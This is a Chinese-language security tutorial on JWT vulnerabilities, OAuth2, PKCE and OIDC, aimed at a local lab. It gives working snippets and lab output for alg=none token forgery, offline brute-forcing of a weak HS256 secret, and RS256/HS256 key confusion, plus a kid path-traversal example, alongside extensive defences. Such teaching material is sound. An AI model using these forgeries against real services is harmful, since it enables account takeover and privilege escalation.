一、JWT 深入
1.1 结构回顾
Header.Payload.Signature
│ │ │
│ │ └─ 用密钥对「Header.Payload」的签名
│ └─ 用户信息(Base64URL,谁都能解开)
└─ 声明算法(Base64URL,谁都能解开)
既然 jwt.io 能随便解开我的 token,那我的 token 是不是"不安全"?
不是。
"能被解码"和"能被伪造"是两回事。
JWT 的设计目标从来不是"藏内容",而是"防篡改 "------内容本来就假设是公开的(所以绝不能放密码、密钥)。别人能读到
username、role没关系,只要改不动就行;而改动会被 Signature 挡下。真正危险的是:① Payload 里放了敏感信息;② 签名算法/密钥有问题(正是下面要讲的攻击)。
1.2 HS256 和 RS256:两种签名方式
| 算法 | 类型 | 用什么签 | 用什么验 | 特点 |
|---|---|---|---|---|
| HS256 | 对称(HMAC) | 同一把密钥 | 同一把密钥 | 简单,但验签方必须知道密钥 → 密钥要在多方之间共享 |
| RS256 | 非对称(RSA) | 私钥 | 公钥 | 验签方只需公钥,私钥只有签发方能拿到,更适合多方场景 |
为什么这很重要? 因为很多"算法混淆"漏洞就出在"服务端本该只接受 RS256,却错误地也接受 HS256"。
1.3 服务端怎么验签(正常流程)
-
从 token 的 Header 里读出
alg。 -
根据
alg选择对应的验证算法。 -
用对应密钥验证 Signature。
-
验证通过后,还要检查
exp(过期时间)、iss(签发者)、aud(受众)等声明。
漏洞往往出在第 2、3 步 :服务端太"信任"客户端给的 alg,或者密钥用错。
二、JWT 三类经典攻击(靶场复现)
启动靶场后运行攻击脚本:
cd /opt/tls-api-labs
python3 app/jwt_attack.py
真实输出(节选,{'users': [...]} 处省略了完整的用户列表):
============================================================
0. 正常登录 alice,拿到合法 token
============================================================
登录响应: {'token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', 'token_type': 'Bearer'}
GET /api/me -> 200 {'id': 1001, 'username': 'alice', 'role': 'user'}
============================================================
1. alg=none:把签名算法改成 none,去掉签名,冒充 admin
============================================================
伪造 token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxIiwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
GET /api/me -> 200 {'id': 1, 'username': 'admin', 'role': 'admin'}
GET /api/admin/users -> 200 {'users': [{'id': 1001, 'username': 'alice', 'role': 'user'}, {'id': 1002, 'username': 'bob', 'role': 'user'}, {'id': 1, 'username': 'admin', 'role': 'admin'}]}
============================================================
2. HS256 弱密钥:拿合法 token 离线爆破出签名密钥
============================================================
爆破结果: secret123
用爆破出的密钥伪造 admin -> 200 {'users': [...]}
============================================================
3. 算法混淆:用 RSA 公钥当 HMAC 密钥签 HS256
============================================================
用公钥当 HMAC 密钥伪造的 token -> 200 {'users': [...]}
下面逐个讲清楚。
2.1 攻击一:alg=none(无签名)
原理 :JWT 规范里有一个特殊算法 none,表示"不签名"。它本来只用于"内容不需要防篡改"的场景。但如果服务端盲目相信 token 里的 alg ,并且"看到 none 就跳过验签",攻击者就能:
-
把 Header 改成
{"alg":"none"}。 -
把 Payload 改成
{"sub":"1","username":"admin","role":"admin"}。 -
把第三段(签名)留空。
-
服务端跳过验签 → 完全信任伪造的 payload → 冒充 admin。
脚本里手工拼 token 的关键代码:
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "1", "username": "admin", "role": "admin"}
forged = b64url(json.dumps(header, separators=(",", ":")).encode()) + "." + \
b64url(json.dumps(payload, separators=(",", ":")).encode()) + "."
-
separators=(",", ":"):让 JSON 紧凑输出(没有多余空格),因为签名是对精确字节计算的,多一个空格就不同。 -
结尾的
.后面什么都没有,就是"空签名"。 -
b64url(...):自己做 Base64URL 编码(去掉末尾的=填充)。
为什么真实世界会有这个漏洞? 早期很多 JWT 库默认允许 none,或者开发者写了 decode(token, verify=False) 这类代码。现代库(如 PyJWT 2.x)默认拒绝 none,但仍有老旧代码踩坑。
2.2 攻击二:HS256 弱密钥离线爆破
原理 :HS256 用一把共享密钥 签名。如果这把密钥很弱(比如 secret123、changeme),攻击者拿到任意一个合法 token ,就可以离线尝试各种候选密钥,看哪个能算出一致的签名------不需要跟服务器交互,服务器完全察觉不到。
脚本里的爆破:
wordlist = ["123456", "password", "admin", "jwt", "changeme", "secret", "secret123", "lab"]
for w in wordlist:
try:
jwt.decode(token, w, algorithms=["HS256"]) # 能解开就说明密钥对了
found = w
break
except jwt.InvalidSignatureError:
continue
真实结果:secret123。然后攻击者用这把密钥签发一个 role=admin 的 token,就能冒充管理员。
现实中的爆破 :攻击者会用几十 GB 的字典(rockyou.txt 等)和 hashcat 这类工具高速爆破。密钥短或像单词 = 必破。
2.3 攻击三:RS256 → HS256 算法混淆
这是最精妙的一个。
漏洞场景 :服务端本来用 RS256(私钥签、公钥验)。但代码写成了"同时接受 RS256 和 HS256,并且 HS256 也用这把 RSA 公钥来验"。伪代码:
if alg == "HS256":
verify_hmac(token, PUBLIC_KEY) # 错误!把公钥当 HMAC 密钥
elif alg == "RS256":
verify_rsa(token, PUBLIC_KEY)
攻击思路:
-
RSA 的公钥是公开的(服务器证书里就有)。
-
攻击者把 token 的
alg改成HS256。 -
用公钥的内容当 HMAC 密钥,自己算一个 HS256 签名。
-
服务端看到
alg=HS256,就用公钥当 HMAC 密钥来验 → 验过了。
脚本里手工构造(PyJWT 2.10 会在编码时拦截这种用法,所以攻击者自己算 HMAC):
signing_input = (h + "." + p).encode()
sig = hmac.new(PUB.encode(), signing_input, hashlib.sha256).digest()
forged3 = h + "." + p + "." + b64url(sig)
真实结果:200,成功冒充 admin。
根因 :服务端没有把"允许的算法"写死 ,而是跟着客户端的 alg 走,并且把两类密钥混用了。正确的做法是:服务端固定只接受一种算法,且公钥只用于非对称验证。
2.4 其他 JWT 攻击点(了解即可)
| 攻击 | 原理 |
|---|---|
| kid 注入 | kid(Key ID)用来指定用哪把密钥验签。如果服务端把 kid 拼进文件路径/SQL,可导致路径穿越/命令注入/SQL 注入 。经典例子:"kid":"../../dev/null" 让服务端读到一个空密钥,攻击者用空密钥签名即可通过校验 |
| jku / x5u 注入 | 这两个头指向"去哪拿公钥"。如果不过滤,攻击者指向自己的服务器,用自己的公钥验自己的签名 |
| 过期时间绕过 | 服务端不检查 exp,token 永久有效 |
| 时钟偏移 | 服务端与签发方时间差过大,导致有效期判断错误 |
| 敏感信息泄露 | Payload 只是编码,放了密码/密钥等于公开 |
三、JWT 防御要点
| 防御 | 具体做法 |
|---|---|
| 固定算法 | 服务端写死 algorithms=["RS256"],绝不跟着客户端的 alg 走 |
| 拒绝 none | 明确禁止 none |
| 强密钥 | HS256 密钥用足够长的随机串;优先用 RS256/ES256 |
| 校验声明 | 必须校验 exp、iss、aud,不只看签名 |
| 不放敏感信息 | Payload 只放非敏感、必要的字段(如用户 id、角色) |
| 短有效期 + 刷新 | access token 短(分钟级),refresh token 长但可吊销 |
| 黑名单/版本号 | 需要提前作废时,用 token 版本号或黑名单 |
| 区分签名密钥和加密密钥 | 不要混用 |
四、OAuth2:委托授权的标准
4.1 要解决什么问题
场景:某网站想让你"用 GitHub 登录",或者想读你的 GitHub 仓库列表。
糟糕的做法 :让你把 GitHub 的账号密码告诉它。这样它就能拿到你的全部权限,还能改密码。
OAuth2 的思路 :让用户授权一个"令牌(token)"给第三方,令牌只有有限的权限、有限的时效,用户还能随时撤销。 第三方永远拿不到你的密码。
一句话 :OAuth2 是"我授权你代表我做某件事"的协议。
4.2 四个角色
| 角色 | 是谁 | 例子 |
|---|---|---|
| Resource Owner | 资源拥有者(用户) | 你 |
| Client | 想访问你资源的第三方应用 | 某网站 |
| Authorization Server | 发令牌的服务器 | GitHub 的授权服务器 |
| Resource Server | 存资源的服务器 | GitHub API |
4.3 授权码模式(Authorization Code):最常用、最安全
流程(以"用 GitHub 登录某网站"为例):
你(浏览器) 第三方网站(Client) GitHub授权服务器 GitHub资源服务器
│ │ │ │
│ 点"用GitHub登录" │ │ │
│ ───────────────────>│ │ │
│ │ ① 重定向到授权页 │ │
│ <───────────────────│ ?client_id=..&redirect_uri=..&state=.. │
│ │ │
│ ──② 用户在GitHub登录并同意授权────────────────>│ │
│ │ │
│ <─③ 重定向回 redirect_uri?code=xxx&state=xxx──│ │
│ │ │ │
│ ──④ 把 code 交给后端─>│ ⑤ 后端用 code + client_secret 换 token │
│ │ ──────────────────────>│ │
│ │ <───── access_token ───│ │
│ │ ⑥ 用 access_token 调资源 │ │
│ │ ────────────────────────────────────────────>│
每一步为什么这样设计:
-
① 重定向到授权页:第三方网站不碰你的密码,登录/授权都在 GitHub 自己的页面完成。
-
client_id:标识是哪个应用。 -
redirect_uri:授权后把结果送回哪。 -
state:一个随机值,用来防 CSRF(下面细讲)。 -
③ 返回 code :注意,先给的是临时的 code,不是 token。
-
⑤ 用 code 换 token :这一步在第三方网站的后端 完成,并带上
client_secret(应用的密钥)。为什么要多这一步?-
code 会出现在浏览器地址栏、历史、日志里,泄露风险高,所以它是一次性的、短暂的。
-
真正的 access_token 在后端对后端的通道里交换,不经过浏览器,更安全。
-
-
⑥ 用 token 访问资源:之后第三方就能代表你调 API 了。
4.4 state:防 CSRF
如果没有 state,攻击者可以构造一个"用攻击者的 GitHub 账号授权 "的链接,诱导你点击。结果你的第三方账号绑定到了攻击者的 GitHub,攻击者之后就能通过它登录你的账号。
state 是一个随机且与用户会话绑定的值:
-
发起授权时生成,存在用户会话里。
-
回调时比对:回调里的
state必须和会话里的一致。
攻击者猜不到这个随机值,也就伪造不了回调。
4.5 PKCE:防授权码被截获
问题 :对于公开客户端 (如手机 App、单页应用),它们无法安全保存 client_secret(代码能被反编译)。那"用 code 换 token"这一步就没有密钥保护,code 若被截获就能被换走。
**PKCE(Proof Key for Code Exchange)**的解法:
-
客户端生成一个随机串
code_verifier,算出它的哈希code_challenge。 -
授权请求里带上
code_challenge。 -
换 token 时带上原始的
code_verifier。 -
服务器验证
hash(code_verifier) == code_challenge。
这样即使 code 被截获,攻击者没有 code_verifier 也换不到 token。现代 OAuth2 推荐所有客户端都用 PKCE。
4.6 redirect_uri 校验缺失:最经典的 OAuth 漏洞
漏洞 :授权服务器如果不严格校验 redirect_uri(比如只检查"以某个前缀开头",或者允许任意子路径),攻击者可以:
-
构造一个授权链接,把
redirect_uri改成攻击者控制的地址(或利用开放重定向)。 -
诱导用户点击并授权。
-
授权后的 code 被送到攻击者的服务器。
-
攻击者用自己的
client_secret拿 code 换 token → 接管用户账号。
防御 :redirect_uri 必须精确匹配预先注册的完整地址(不能只匹配前缀),禁止通配符和开放重定向。
4.7 其他模式与它们的问题
| 模式 | 说明 | 问题 |
|---|---|---|
| 隐式模式(Implicit) | 直接在 URL 片段里返回 access_token | token 暴露在浏览器历史/Referer;已被废弃 |
| 密码模式(Password) | 第三方直接拿你的用户名密码换 token | 第三方仍拿到密码,违背初衷;仅限高度信任的第一方 |
| 客户端凭证模式 | 服务对服务,用 client_id/secret 换 token | 无用户身份,只代表应用 |
五、OIDC:在 OAuth2 上加了"身份"
OAuth2 只解决授权 ("你能代表我做什么"),它不负责告诉你"用户是谁" 。而"用微信/GitHub 登录"需要的是身份认证。
OIDC(OpenID Connect) = OAuth2 + 身份层。它在 OAuth2 的基础上多返回一个 id_token(一个 JWT),里面包含用户的身份信息(用户 id、邮箱、昵称等)。
-
access_token:用来访问资源(授权)。
-
id_token:用来确认"用户是谁"(认证)。
**现实中的单点登录(SSO)**大多基于 OIDC:一次登录,多个系统共享身份。
六、现实世界
| 场景 | 说明 |
|---|---|
| "用微信/Google/GitHub 登录" | OIDC / OAuth2 授权码模式 |
| App 里保存登录状态 | refresh token + access token |
| 企业 SSO | OIDC / SAML |
| 常见配置错误 | redirect_uri 校验不严、state 缺失、PKCE 没开、token 存 localStorage 被 XSS 偷走 |
| 常见攻击 | 授权码截获、CSRF 绑定攻击、开放重定向、token 泄露 |
实战里怎么找 JWT 漏洞?
-
用浏览器 DevTools 看登录响应,找到 token。
-
把 token 贴到
jwt.io或自己 Base64 解码,看 Header 的alg、Payload 有没有role、is_admin之类字段。 -
尝试改
alg为none、尝试用公钥做 HS256、尝试爆破弱密钥。 -
注意:只在授权测试的目标上做。
七、本篇小结
-
JWT = Header.Payload.Signature;前两段只是编码,安全全靠签名。
-
HS256 对称(共享密钥),RS256 非对称(私钥签公钥验)。
-
三类攻击:
alg=none(跳过验签)、弱密钥爆破(离线)、算法混淆(公钥当 HMAC 密钥)。 -
防御核心:固定算法、拒绝 none、强密钥、校验 exp/iss/aud、不放敏感信息。
-
OAuth2 是"委托授权"协议:授权码模式最安全,
state防 CSRF,PKCE 防 code 截获,redirect_uri必须精确匹配。 -
OIDC = OAuth2 + 身份层(id_token),是现代 SSO 的基础。
八、总结
-
JWT 的 Payload 能被别人解开吗?那它靠什么保证没被篡改?
答 :能解开 (Payload 只是 Base64URL 编码)。防篡改靠 Signature :服务端用密钥对
Header.Payload计算签名并比对,内容改了签名就不匹配。所以 JWT 里绝不能放敏感信息。 -
alg=none攻击成功的前提是什么?怎么防?答 :前提是服务端盲目跟随 token 里的
alg,看到none就跳过验签。防御:服务端写死允许的算法 (如只接受 RS256),并明确拒绝none。 -
为什么 HS256 的弱密钥可以被"离线"爆破?
答 :HS256 用的是共享密钥 ,拿到任意一个合法 token 后,攻击者可以在本地 用字典里的候选密钥逐个计算签名并比对,全程不需要与服务器交互,服务器也察觉不到。密钥短或是常见单词,几乎必破。
-
算法混淆攻击的根因是什么?服务端应该怎么写才安全?
答 :根因是服务端没有固定算法 ,而且把"用于非对称验证的 RSA 公钥"错误地当作"HS256 的 HMAC 密钥"。安全写法:固定只接受一种算法,公钥只用于非对称验证,签名密钥与验证密钥严格分开。
-
OAuth2 授权码模式里,为什么先给 code 再换 token?
client_secret为什么不能放前端?答 :code 会出现在浏览器地址栏、历史、日志里,暴露面大,所以设计成一次性、短时效 ;真正的 access_token 由第三方后端 带着
client_secret去交换,不经过浏览器 ,更安全。client_secret放在前端等于公开(前端代码可被查看、App 可被反编译),任何人都能冒充这个应用,所以必须只存在于后端。 -
state和 PKCE 分别防什么?redirect_uri校验不严会导致什么后果?答 :
state防 CSRF (防止把用户的第三方账号绑到攻击者的身份上);PKCE 防授权码被截获后被拿去换 token (公开客户端没有 client_secret 时尤其重要)。redirect_uri校验不严,攻击者可把授权后的 code 送到自己控制的地址,进而换 token 接管用户账号。